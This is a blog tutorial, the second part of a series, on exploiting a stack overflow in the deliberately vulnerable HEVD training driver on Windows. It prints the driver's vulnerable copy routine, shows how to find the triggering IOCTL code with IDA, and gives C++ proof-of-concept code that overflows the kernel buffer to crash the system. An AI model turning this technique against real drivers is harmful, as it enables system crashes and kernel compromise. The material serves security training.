Windows Kernel Exploitation With Hevd Part 2

In the previous part we have seen how to install the vulnerable driver and setup the debugging environment , now it’s time to find the bug , there is a plenty of vulnerability on HEVD , but in this tutorial we will focus on Stackoverflow.

Finding the bug and bsoding the system

Here you’ll find the relevent source for the stackoverflow vulnerability provided by hacksys , they have done a great job by showing the vulnerability the safe way into processing userbuffer .

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");
 
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

Like you can see in the secure mode

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

the size of the copied Userbuffer is exactly the size of the Kernelbuffer

where in the vulnerable one

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

RtlCopyMemory use the size value passed on by the user , so if the user passe a size greater than the kernelbuffer size stackoverflow will occure ,and the system will crash .

Understading how User land interact with kernel concerning Windows drivers

When we want communicate with a windows driver a user has to get a handle to the concerned driver in our case its HEVD by using the Windows API CreateFile, this fucntion will return a handle to our lovely driver.

now things get’s interesting once we got the handle we can speak to our driver using the followong windows API function

BOOL WINAPI DeviceIoControl(
  _In_        HANDLE       hDevice,
  _In_        DWORD        dwIoControlCode,
  _In_opt_    LPVOID       lpInBuffer,
  _In_        DWORD        nInBufferSize,
  _Out_opt_   LPVOID       lpOutBuffer,
  _In_        DWORD        nOutBufferSize,
  _Out_opt_   LPDWORD      lpBytesReturned,
  _Inout_opt_ LPOVERLAPPED lpOverlapped
);

the seconde parameter (dwIoControlCode) is DWORD IOCTL code for the function that we are going to send our buffer to , since we want to send our bad buffer to the stackoverflow vulnerable function, we need to find the fucntion IOCTL code or we are dommed . there are severale methods to find those codes ,but the one i prefere the most and widely used is by reversing the driver using IDA and finding the IrpDeviceIoCtlHandler wich contain all the functions IOCTL codes .

the IrpDeviceIoCtlHandler IDA graphe overwiew look like this

ida1.JPG

Looking to the left you will find a IOCTL 222003h that if is the same as the one provided by the user it will take us the the vulnerable function

ioctl.JPG

stackoverflow.JPG

Great !

the called function is TriggerStackOverflow

vulnerablefunc.JPG

you’ll see that the kernel buffer length passed to ProbeForRead function is 800h , so if we send more than that size we will get BSOD .

let’s verify that by writing this simple C++ code

#include "stdafx.h"
#include "windows.h"

int main()
{

	HANDLE hDevice = NULL;

	LPCWSTR DeviceName = TEXT("\\\\.\\HacksysExtremeVulnerableDriver");
    
//Obtaining a handle to the device 

	hDevice = CreateFile(DeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);



	if (hDevice == INVALID_HANDLE_VALUE) {

		printf("We could't get a valid handle");

		return -1;

	}

	// Buffer that will be sent to the driver

	char  buffer[2056];
// sending buffer filled with A's 
	memset(buffer, 0x41, 2056);


	BOOL deviceioctl = DeviceIoControl(hDevice, 0x222003, buffer, 2056, NULL, 0, &returnedbytes, NULL);

	if (deviceioctl == 0) {

		printf("we couldn't send Device Control");

		CloseHandle(hDevice);

		return -1;

	      }
          
          return 0 ;
    }
Written on September 3, 2017